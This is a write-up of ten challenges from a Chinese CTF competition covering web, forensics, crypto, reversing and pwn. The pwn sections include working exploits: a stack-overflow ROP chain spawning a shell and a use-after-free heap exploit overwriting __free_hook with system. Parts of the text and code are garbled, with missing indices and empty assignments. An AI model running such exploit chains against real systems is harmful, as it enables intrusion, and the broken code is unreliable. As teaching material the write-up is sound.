2024年---第十五届蓝桥杯网络安全CTF赛道Writeup(Web、Misc、Crypto、Rever
原题资料下载地址在网页底部：第一题：爬虫协议
1.1 标题形貌：
小兰同学在开发网站时相识到一个爬虫协议，该协议指网站可创建一个特别的txt文件来告诉搜刮引擎哪些页面可以抓取，哪些不可以抓取，而搜刮引擎则通过读取该txt文件来识别这个页面是否允许被抓取，爬虫协议并不是一个规范而只是约定俗成的，所以不能保证网站的隐私。
1.2 标题界面：
打开标题网址
https://i-blog.csdnimg.cn/blog_migrate/38863cfb4378db6c0ae6c7ebeeba51ec.png
1.3 解题步骤：
1)：尝试访问robots.txt文件
https://i-blog.csdnimg.cn/blog_migrate/2b22c9c512ae7c3a3cbfd3c1c89be76f.png
2)：尝试访问0f3f8d7ec56c0c50f9d73724902648a5
https://i-blog.csdnimg.cn/blog_migrate/c5fa8183151a8b9aca1ae5c31368f049.png
3)：尝试访问0f3f8d7ec56c0c50f9d73724902648a5/da87bd9aca438bf00a80d12c8912f3a0
https://i-blog.csdnimg.cn/blog_migrate/6f639a512a5fe30c6e85943cd902dcb0.png
4)：得到flag{42d5c8f1-259d-462c-a8bd-4bc1f50d354d}
第二题：流量分析
2.1 解题步骤：
1)：用wireshark打开标题所给文件
https://i-blog.csdnimg.cn/blog_migrate/0ad53d34991bf0d2e202ea9a39de6a58.png
2)：导出对象
https://i-blog.csdnimg.cn/blog_migrate/f5845fbb34014764e345c079d36fb71f.png
3)：选择HTTP对象导出
https://i-blog.csdnimg.cn/blog_migrate/be1224f12d1468ef6b5c34349a7de29e.png
4)：用记事本打开flag%20%7cbase64%20-w%200%27);文件
https://i-blog.csdnimg.cn/blog_migrate/14acf14cef57d20aa5d3d6b4cc1e551f.png
5)：base64解密文件内容ZmxhZ3s3ZDZmMTdhNC0yYjBhLTQ2N2QtOGE0Mi02Njc1MDM2OGMyNDl9Cg==得到flag{7d6f17a4-2b0a-467d-8a42-66750368c249}
https://i-blog.csdnimg.cn/blog_migrate/b9a67f03d08f003c032a195ccf1aca3b.png
第三题：AES加密
3.1 标题界面：
https://i-blog.csdnimg.cn/blog_migrate/6e70d55fcb3168708181a5de6bbf329b.png
3.2 解题步骤：
1)：分析得出：标题界面已经告诉我们采用的是AES加密，而且告诉我们key是gamelab@gamelab@，IV是gamelab@gamelab@，Mode是CBC模式，输出为Hex十六进制4da72144967f1c25e6273950bf29342aae635e2396ae17c80b1bff68d90f16679bb45c15852e0ce88d4864d93e9e3be2
2)：打开解密工具cc(CyberChef)，输入key，IV，Mode以及密文，点击decode解密得到flag{6500e76e-15fb-42e8-8f29-a309ab73ba38}
https://i-blog.csdnimg.cn/blog_migrate/f95bcc48b6a6cd3cf83ac90e29e0672c.png
第四题：RSA加密
4.1 标题文件为task.py，文件代码内容如下所示：
https://i-blog.csdnimg.cn/blog_migrate/00309364094e521ac76a9243565d2571.png
from Crypto.Util.number import *
from gmpy2 import *
flag = b'xxx'
m =bytes_to_long(flag)
p = getPrime(512)
q = next_prime(p)
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
d1 = d % q
d2 = d % p
c = pow(m, e, n)
print(n)
print(d1)
print(d2)
print(c)
# 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
# 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566
# 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850
# 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
4.2 解题步骤：
1)：分析得出：我们得知道这个算法的原理，就是现在p，q是两个素数Q，而且他俩在素数序列里面就是一前一后的关系。所以我们要把他俩的乘积开根号得到的效果一定是在p，q之间的一个数字，(而且一定不是素数，因为p，q就是紧邻的两个素数)。那我们找这个开方出来的数字的下一个素数，一定是q，因此我们再让n/q就可以得到两个素数。
2)：解法一，得到flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}：
import gmpy2
import sympy
# import Cryptodome.Util.number
from Crypto.Util.number import *
import binascii
n=94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
x=gmpy2.iroot(n,2)# 取第0个元素，也就是第一个元素
p=sympy.nextprime(x)
q=n//p
e=65537
d=gmpy2.invert(e,(p-1)*(q-1))
print(p)
print(q)
print(d)
c=36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
m=pow(c,d,n)
print(m)
print(long_to_bytes(m))
https://i-blog.csdnimg.cn/blog_migrate/b13340e3621958cfb0f8e0fcb45db9ff.png
3)：解法二，直接yafu分解n，得到p,q的值，然后计算得到flag。
第五题：DWT盲水印
5.1 标题文件如下所示：
https://i-blog.csdnimg.cn/blog_migrate/5b6110c9cccb03eeff7f67d07da54fe4.png
5.2 解题步骤：
1)：破解orign压缩包：打开压缩包发现压缩包里面的serect.txt是密码字典，未加密，可以解压出来，然后用serect.txt字典破解压缩包orign.zip，得到a.png也就是原始图片。
2)：打开lose.py分析发现为DWT盲水印代码：
class WaterMarkDWT:
def __init__(self, origin: str, watermark: str, key: int, weight: list):
self.key = key
self.img = cv2.imread(origin)
self.mark = cv2.imread(watermark)
self.coef = weight
def arnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = (i + b * j) % r
y = (a * i + (a * b + 1) * j) % c
p = img
return p
def deArnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = ((a * b + 1) * i - b * j) % r
y = (-a * i + j) % c
p = img
return p
def get(self, size: tuple = (1200, 1200), flag: int = None):
img = cv2.resize(self.img, size)
img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
c = pywt.wavedec2(img2, 'db2', level=3)
= c
d = pywt.wavedec2(img1, 'db2', level=3)
= d
a1, a2, a3, a4 = self.coef
ca1 = (cl - dl) * a1
ch1 = (cH3 - dH3) * a2
cv1 = (cV3 - dV3) * a3
cd1 = (cD3 - dD3) * a4
waterImg = pywt.waverec2(, 'db2')
waterImg = np.array(waterImg, np.uint8)
waterImg = self.deArnold(waterImg)
kernel = np.ones((3, 3), np.uint8)
if flag == 0:
waterImg = cv2.erode(waterImg, kernel)
elif flag == 1:
waterImg = cv2.dilate(waterImg, kernel)
cv2.imwrite('水印.png', waterImg)
return waterImg
if __name__ == '__main__':
img = 'a.png'
k = 20
xs =
W1 = WaterMarkDWT(img, waterImg, k, xs)
3)：编写exp.py得到flag.png：
import cv2
import pywt
import numpy as np
class WaterMarkDWT:
def __init__(self, origin: str, watermark: str, key: int, weight: list):
self.key = key
self.img = cv2.imread(origin)
self.mark = cv2.imread(watermark)
self.coef = weight
def arnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = (i + b * j) % r
y = (a * i + (a * b + 1) * j) % c
p = img
return p
def deArnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = ((a * b + 1) * i - b * j) % r
y = (-a * i + j) % c
p = img
return p
def get(self, size: tuple = (1200, 1200), flag: int = None):
img = cv2.resize(self.img, size)
img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
c = pywt.wavedec2(img2, 'db2', level=3)
= c
d = pywt.wavedec2(img1, 'db2', level=3)
= d
a1, a2, a3, a4 = self.coef
ca1 = (cl - dl) * a1
ch1 = (cH3 - dH3) * a2
cv1 = (cV3 - dV3) * a3
cd1 = (cD3 - dD3) * a4
waterImg = pywt.waverec2(, 'db2')
waterImg = np.array(waterImg, np.uint8)
waterImg = self.deArnold(waterImg)
kernel = np.ones((3, 3), np.uint8)
if flag == 0:
waterImg = cv2.erode(waterImg, kernel)
elif flag == 1:
waterImg = cv2.dilate(waterImg, kernel)
cv2.imwrite('水印.png', waterImg)
return waterImg
if __name__ == '__main__':
img = 'a.png'
newImg='newImg.png'
k = 20
#xs =
coef=
#waterImg='flag.png'
W1 = WaterMarkDWT(img, newImg, k, coef)
waterimg=W1.get()
https://i-blog.csdnimg.cn/blog_migrate/39af9666a1c7cf4e605e0ea58a6329a2.png
第六题：Reverse逆向RC4
6.1 标题文件rc4.exe如下所示：
https://i-blog.csdnimg.cn/blog_migrate/e09b95d72abfcf4aed86c82f399d39c7.png
6.2 解题步骤：
1)：die检测无壳，32位程序。
https://i-blog.csdnimg.cn/blog_migrate/cad87af89f4c1e100043e8d3bdbdd940.png
2)：用IDA32打开，发现key为gamelab@，提取数组v5举行RC4解密得到flag。
https://i-blog.csdnimg.cn/blog_migrate/843396cac0e54fc77d57c98402c79714.png
https://i-blog.csdnimg.cn/blog_migrate/d1833bc957335ce3058e48d073d0f2bc.png
https://i-blog.csdnimg.cn/blog_migrate/44044525aebb7877f82e3114552153ec.png
第七题：ECDSA椭圆曲线数字签名算法
7.1 标题代码如下所示：
import ecdsa
import random
def ecdsa_test(dA,k):
sk = ecdsa.SigningKey.from_secret_exponent(
secexp=dA,
curve=ecdsa.SECP256k1
)
sig1 = sk.sign(data=b'Hi.', k=k).hex()
sig2 = sk.sign(data=b'hello.', k=k).hex()
r1 = int(sig1[:64], 16)
s1 = int(sig1, 16)
s2 = int(sig2, 16)
return r1,s1,s2
if __name__ == '__main__':
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
a = random.randint(0,n)
flag = 'flag{' + str(a) + "}"
b = random.randint(0,n)
print(ecdsa_test(a,b))
# (4690192503304946823926998585663150874421527890534303129755098666293734606680, 111157363347893999914897601390136910031659525525419989250638426589503279490788, 74486305819584508240056247318325239805160339288252987178597122489325719901254)
7.2 代码分析：
椭圆曲线数字签名算法，它利用椭圆曲线密码学（ECC）对数字签名算法（DSA）举行模拟，其安全性基于椭圆曲线离散对数问题。但是当某些数值相同时会出现一些安全问题。
分析代码可以看出，存在随机数重复使用。具体来说，这段代码中签名的过程中使用了相同的随机数 k 来对不同的消息举行签名。这种情况下，可以通过分析两个相同 k 值对应的消息签名来规复私钥 dA。
在 ECDSA 中，每次签名过程中都会使用一个随机数 k，以确保生成唯一的签名。然而，如果相同的随机数 k 被重复使用来对不同的消息举行签名，攻击者就有可能通过数学分析和推导计算出私钥 dA。
7.3 exp代码：
import sympy
from hashlib import sha1
from Cryptodome.Util.number import long_to_bytes , bytes_to_long
def calculate_private_key(r1, s1, s2, h1, h2, n):
# 计算k值
k = ((h1 - h2) * sympy.mod_inverse(s1 - s2, n)) % n
# 计算私钥dA
dA = (sympy.mod_inverse(r1, n) * (k * s1 - h1)) % n
return dA
if __name__ == "__main__":
# 定义椭圆曲线的参数
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
# 签名中的r1, s1, s2值
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
h1 = bytes_to_long(sha1(b'Hi.').digest())
h2 = bytes_to_long(sha1(b'hello.').digest())
private_key = calculate_private_key(r1, s1, s2, h1, h2, n)
print(f'flag{{{private_key}}}')
获得flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}
https://i-blog.csdnimg.cn/blog_migrate/9c1d618eb425104f92c2366afbdd7cd6.png
第八题：Reverse逆向xxtea
8.1 标题形貌如下：
Flag被使用了算法分成若干个小块，每个块使用相同的加密解密方法，但这个算法是对称加密，请分析密文并还原。
8.2 标题文件happytime
https://i-blog.csdnimg.cn/direct/f92026ae731c42fd92a984bcb076ed78.png
8.3 解题步骤
1)：die检测无壳，64位程序。
https://i-blog.csdnimg.cn/direct/fb3ff1cbacae4a96be2ea47ecbb9a87b.png
2)：拖进IDA分析。
printf输出提示信息Let’s have a drink，pay your answer(flag):，read在键盘读取flag输入，重要的关键函数是cry加密函数，接受v5和输入的flag，这里的11应该是flag被分割成了11组，末了一个循环比较加密后的flag和V6，刚好和上面v6数组对应：
https://i-blog.csdnimg.cn/direct/4a0dc8fdcb914fcaa3b0d150de153cb1.png
3)：根据cry函数的特征，可以判断这是XXTEA加密无疑，找到其中的DELTA，密文(main函数中的v6)，和key(前面main函数的V5)，即可编写脚本解密(输出的时间注意巨细端序)：
https://i-blog.csdnimg.cn/direct/01a1662b24a94b62a808a017ffc120b1.png
#include <stdbool.h>
#include <stdio.h>
#define MX (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4)) ^ (sum ^ y) + (k[(p & 3) ^ e] ^ z))
bool btea(unsigned int *v, int n, unsigned int *k)
{
unsigned int z = v, y = v, sum = 0, e, DELTA = 0x61C88647;
unsigned int p, q;
if (n > 1)
{ /* enCoding Part */
q = 415 / n + 114;
while (q-- > 0)
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < (n - 1); p++)
{
y = v;
z = v += MX;
}
y = v;
z = v += MX;
}
return 0;
}
else if (n < -1)
{ /* Decoding Part */
n = -n;
q = 415 / n + 114;
sum = -q * DELTA;
while (sum != 0)
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v;
y = v -= MX;
}
z = v;
y = v -= MX;
sum += DELTA;
}
return 0;
}
return 1;
}
int main()
{
unsigned int v = {0x480AC20C, 0xCE9037F2, 0x8C212018, 0xE92A18D, 0xA4035274, 0x2473AAB1, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 0x6FD07093}, key = {0x79696755, 0x67346F6C, 0x69231231, 0x5F674231};
int n = 11; // n为要加密的数据个数
btea(v, -n, key); // 取正为加密，取负为解密
char *p = (char *)v;
for (int i = 0; i < 44; i++)
{
printf("%c", *p);
p++;
}
return 0;
}
//flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}
第九题：Pwn栈溢出
9.1 标题形貌如下：
小蓝同学学习了栈溢出的知识后，又相识到linux体系中文件形貌符（File Descriptor）是一个非常重要的概念，它是一个非负整数，用于标识一个特定的文件或其他输入输出资源，如套接字和管道。
9.2 标题文件fd：
https://i-blog.csdnimg.cn/direct/a497d49b3e1f4767b0f0dee63bd9645f.png
9.3 代码分析
1)：checksec，64位程序。
https://i-blog.csdnimg.cn/direct/7fe93bce474c4b9c9b6fd12da7e9c7dd.png
2)：IDA64打开程序。
https://i-blog.csdnimg.cn/direct/384485690abc4913934ae4c9c4db427b.png
https://i-blog.csdnimg.cn/direct/8ee154a82d46465b870d8b3251f1e05e.png
起首读取最多0xE(14)个字符到bss段的变量info中，然后读取最多0x48到栈变量buf，但是buf只有32个字符长度，此处read(0,buf,0x48uLL)代码存在buf栈溢出。
https://i-blog.csdnimg.cn/direct/3f5799d3b87344b9a80d1c9add361bdf.png
而且继续探求发现程序提供了system函数，，显而易见，直接ret2shellcode
https://i-blog.csdnimg.cn/direct/bc344861316f49459385fa864a3108d5.png
有一个check限制函数：不能使用/binsh、/sh、cat等字符串作为system参数，因此可以使用$0启动shell。但是又存在一个问题，close(1)关闭了stdout，因此需要将stdout重定向到stderr使正常输出。
9.4 exp代码：
栈溢出
第一个 read 放要实行的下令
第二个 read 去栈溢出，pop_rdi 放bss 里的下令，再实行 system
进入之后输入 exec1>&2或#完成重定向 即可回显,
https://i-blog.csdnimg.cn/direct/5b0368c43a9e49e39854606cb5d8d913.png
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
bss = 0x601090
system = elf.plt['system']
pop_rdi_ret = 0x400933
ret = 0x4005ae
# shellcode
io.sendline(b'$0')
# ret2shellcode
payload = b'A'*0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi_ret) + p64(bss) + p64(system)
io.sendline(payload)
# getFlag
io.sendline(b'exec 1>&2')
io.sendline(b'cat /flag')
io.interactive()
https://i-blog.csdnimg.cn/direct/1d24ead0406b4cdabdf6b96c7e7f9067.png
第十题：Pwn堆毛病之UAF
10.1 标题形貌如下：
小蓝同学第二次尝试使用C语言编写程序时，由于缺乏良好的安全开发经验和习惯，导致了未初始化的指针毛病（Use After Free，UAF毛病）。在他的程序中，他没有精确释放动态分配的内存空间，而且在之后继续使用了已经释放的指针，造成了悬空指针的问题。这种错误会导致程序在运行时出现未界说的行为，可能被恶意利用来实行恶意代码，粉碎数据或者体系安全性。你能找到该毛病并利用乐成吗？
10.2 标题文件ezheap：
https://i-blog.csdnimg.cn/direct/159c6042be854c8fad80cc1f5d060767.png
10.3 代码分析
1)：checksec，64位程序。
https://i-blog.csdnimg.cn/direct/1ea45f6cdfc244cda8575413f8061239.png
https://i-blog.csdnimg.cn/direct/84fab99fee6d426bbd27f29e4372f919.png
2)：IDA64打开程序。
https://i-blog.csdnimg.cn/direct/9e6574c2bec54d94b2e67c487c15e8bb.png
https://i-blog.csdnimg.cn/direct/4c94d9b66ea8457da0ac09c473fbd989.png
https://i-blog.csdnimg.cn/direct/00ae4210a0ef440688d47f75398ad2f3.png
https://i-blog.csdnimg.cn/direct/06ca9c4a05f04d4ea580e2e28ef3c81a.png
https://i-blog.csdnimg.cn/direct/36a22b6508254407862f69cfd17080c8.png
https://i-blog.csdnimg.cn/direct/a007dbccb9764d2f997085de8490abc1.png
https://i-blog.csdnimg.cn/direct/80123b961271430a805deb6cd19cc02b.png
10.4 exp代码：
from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('./libc.so.6')
def create(Content=b'a\n'):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'1')
p.send(Content)
def free(id):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'2')
p.sendline(bytes(str(id),encoding='utf-8'))
def show(id):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'3')
p.sendline(bytes(str(id),'utf-8'))
def uaf(id):
p.recvuntil(b'4.exit',timeout=1)
p.sendline(b'2106373')
p.sendline(bytes(str(id),'utf-8'))
payload=b'\x00'*0x18+p64(0x61)
for i in range(14):
create(payload)#0-13
for i in range(7,0,-1):
free(i)
uaf(0)
create(b'A')#1
free(0)
show(1)
p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
heapbase=(heap_add<<8)-0x300
success('heapbase '+hex(heapbase))
payload=p64(heapbase+0x2c0-0x10)+b'\n'
create(payload)#0,double
for i in range(6):# x /20gx 0x555555558060
create()#2-7
create()#14,0
payload=b'\x00'*0x38+p64(0x60*12+1)
create(payload)#15
free(1)
create(b'A')#1
show(1)
libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x1ecf41
success('libcbase '+hex(libcbase))
free(10)
free(1)
create(p64(0)*3+p64(0x61))
free(1)
free(15)
free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
payload=b'\x00'*0x38+p64(0x61)+p64(free_hook)
create(payload)#1,over
create(b'/bin/sh\x00\n')#10
create(p64(system_add)+b'\n')
free(10)
# gdb.attach(p)
p.sendline(b'cat flag')
p.interactive()
恭喜CTF培训班的王思雨同学获得2024年蓝桥杯省赛一等奖，国赛三等奖的结果。
https://i-blog.csdnimg.cn/blog_migrate/9a975e8442275260684f3515f2fdc0f7.png
https://i-blog.csdnimg.cn/blog_migrate/b5e4ef8a8d8608ff37a55d456a26089a.png
https://i-blog.csdnimg.cn/blog_migrate/96543463bd19f0e17c7484d4e965e808.png
https://i-blog.csdnimg.cn/blog_migrate/33b18b6fd29060bfcdfb5a8b2d2de419.png
https://i-blog.csdnimg.cn/direct/e8b7a49f1f0b4fed99c6fd6569463460.jpeg
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